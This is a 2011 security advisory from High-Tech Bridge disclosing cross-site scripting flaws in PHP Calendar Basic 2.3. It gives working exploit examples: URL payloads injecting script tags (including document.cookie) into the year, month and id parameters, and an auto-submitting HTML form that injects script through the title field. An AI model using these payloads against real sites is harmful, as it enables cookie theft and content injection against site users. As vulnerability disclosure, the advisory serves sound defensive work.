Cross-site Scripting (XSS) Vulnerabilities in PHP Calendar Basic
| Advisory ID: | HTB22981 |
| Product: | PHP Calendar Basic |
| Vendor: | Kubelabs.com |
| Vulnerable Versions: | 2.3 and probably prior |
| Tested Version: | 2.3 |
| Advisory Publication: | May 3, 2011 [without technical details] |
| Vendor Notification: | May 3, 2011 |
| Public Disclosure: | May 17, 2011 |
| Vulnerability Type: | Cross-Site Scripting [CWE-79] |
| Risk Level: | Medium |
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| CVSSv2 Base Score: | 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N) |
| Discovered and Provided: | High-Tech Bridge Security Research Lab |
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Advisory Details: |
High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in PHP Calendar Basic which could be exploited to perform cross-site scripting attacks.
1) Cross-site scripting (XSS) vulnerabilities in PHP Calendar Basic
1.1 The vulnerability exists due to input sanitation errors in the "year" and "month" parameters in index.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
http://host/index.php?month=5"><script>alert('XSS')</script>&year=2011"><scr ipt>alert(document.cooki e)</script>
1.2 The vulnerability exists due to input sanitation error in the "title" parameter in event_add.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
<form action="http://host/event_add.php?day=27&month=4&year=2011" method="post" name="main">
<input type="hidden" name="month" value="4">
<input type="hidden" name="day" value="27">
<input type="hidden" name="year" value="2011">
<input type="hidden" name="hour" value="20">
<input type="hidden" name="minute" value="00">
<input type="hidden" name="title" value="1<script>alert('XSS')</script>">
<input type="hidden" name="description" value="descr">
<input type="submit" id="btn" name="submit" value="Add Event">
</form>
<script>
document.getElementById('btn').click();
</scrip t>
1.3 The vulnerability exists due to input sanitation errors in the "id" parameter in event_delete.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
http://host/event_delete.php?day=28&month=4&year=2011&id=1"><script>alert(do cument.cookie)</script>
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Solution: |
| Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback. |
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References: |
[1] High-Tech Bridge Advisory HTB22981 - https://www.immuniweb.com/advisory/HTB22981 - Cross-site Scripting (XSS) Vulnerabilities in PHP Calendar Basic
[2] PHP Calendar Basic - kubelabs.com - PHP Calendar Basic is a free and easy to use PHP Calendar.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. |
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